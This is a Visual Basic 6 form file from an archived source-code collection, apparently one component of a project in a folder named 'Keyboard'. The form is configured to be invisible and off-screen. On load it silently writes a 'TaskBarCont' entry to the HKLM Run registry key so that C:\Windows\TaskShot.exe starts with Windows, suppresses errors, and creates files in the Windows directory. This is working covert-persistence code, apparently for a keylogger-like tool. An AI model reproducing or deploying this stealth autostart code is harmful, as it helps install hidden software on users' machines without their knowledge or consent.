home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 1_2002.ISO / Data / Zips / General Mu229157162001.psc / Keyboard / Form3.frm (.txt) < prev    next >
Encoding:
Visual Basic Form  |  2001-08-30  |  3.7 KB  |  100 lines

  1. VERSION 5.00
  2. Begin VB.Form Form3 
  3.    BorderStyle     =   0  'None
  4.    ClientHeight    =   90
  5.    ClientLeft      =   540
  6.    ClientTop       =   -3030
  7.    ClientWidth     =   90
  8.    ClipControls    =   0   'False
  9.    ControlBox      =   0   'False
  10.    Icon            =   "Form3.frx":0000
  11.    LinkTopic       =   "Form3"
  12.    MaxButton       =   0   'False
  13.    MinButton       =   0   'False
  14.    ScaleHeight     =   90
  15.    ScaleWidth      =   90
  16.    ShowInTaskbar   =   0   'False
  17.    Visible         =   0   'False
  18.    Begin VB.CommandButton Command1 
  19.       Caption         =   "Command1"
  20.       Height          =   615
  21.       Left            =   1560
  22.       TabIndex        =   0
  23.       Top             =   480
  24.       Visible         =   0   'False
  25.       Width           =   1215
  26.    End
  27. Attribute VB_Name = "Form3"
  28. Attribute VB_GlobalNameSpace = False
  29. Attribute VB_Creatable = False
  30. Attribute VB_PredeclaredId = True
  31. Attribute VB_Exposed = False
  32. Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As String, ByVal fuWinIni As Long) As Long
  33. Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
  34. Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
  35. Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
  36.  Const HKEY_LOCAL_MACHINE = &H80000002
  37.  Const SPIF_UPDATEINIFILE = &H1
  38. Const SPI_SETDESKWALLPAPER = 20
  39. Const SPIF_SENDWININICHANGE = &H2
  40. Public Sub SaveString(hKey As Long, StrPath As String, StrValue As String, StrData As String)
  41.    Dim KeyH&
  42.     r = RegCreateKey(hKey, StrPath, KeyH&)
  43.     r = RegSetValueEx(KeyH&, StrValue, 0, 1, ByVal StrData, Len(StrData))
  44.     r = RegCloseKey(KeyH&)
  45. End Sub
  46. Private Sub Command1_Click()
  47. On Error Resume Next
  48. If Command1.Value = 1 Then
  49. SaveSetting App.Title, App.Title, "RunWithSystem", 1
  50. SaveString HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "TaskBarCont", "TaskBarCont"
  51. SaveSetting App.Title, App.Title, "RunWithSystem", 0
  52. SaveString HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", "TaskBarCont", "C:\Windows\TaskShot.exe"
  53. End If
  54. End Sub
  55. Private Sub Form_Load()
  56. On Error Resume Next
  57. Command1_Click
  58. FileNumber = FreeFile
  59. filename = "c:\windows\1.txt"
  60. Open filename For Append As #FileNumber
  61. Close #FileNumber
  62. FileNumber = FreeFile
  63. filename = "c:\windows\vol.txt"
  64. Open filename For Append As #FileNumber
  65. Close #FileNumber
  66. FileNumber = FreeFile
  67. filename = "c:\windows\2.txt"
  68. Open filename For Append As #FileNumber
  69. Close #FileNumber
  70. FileNumber = FreeFile
  71. filename = "c:\windows\3.txt"
  72. Open filename For Append As #FileNumber
  73. Close #FileNumber
  74. FileNumber = FreeFile
  75. filename = "c:\windows\4.txt"
  76. Open filename For Append As #FileNumber
  77. Close #FileNumber
  78. FileNumber = FreeFile
  79. filename = "c:\windows\5.txt"
  80. Open filename For Append As #FileNumber
  81. Close #FileNumber
  82. FileNumber = FreeFile
  83. filename = "c:\windows\6.txt"
  84. Open filename For Append As #FileNumber
  85. Close #FileNumber
  86. FileNumber = FreeFile
  87. filename = "c:\windows\7.txt"
  88. Open filename For Append As #FileNumber
  89. Close #FileNumber
  90. FileNumber = FreeFile
  91. filename = "c:\windows\8.txt"
  92. Open filename For Append As #FileNumber
  93. Close #FileNumber
  94. FileNumber = FreeFile
  95. filename = "c:\windows\9.txt"
  96. Open filename For Append As #FileNumber
  97. Close #FileNumber
  98. FrmMain.Show
  99. End Sub
  100.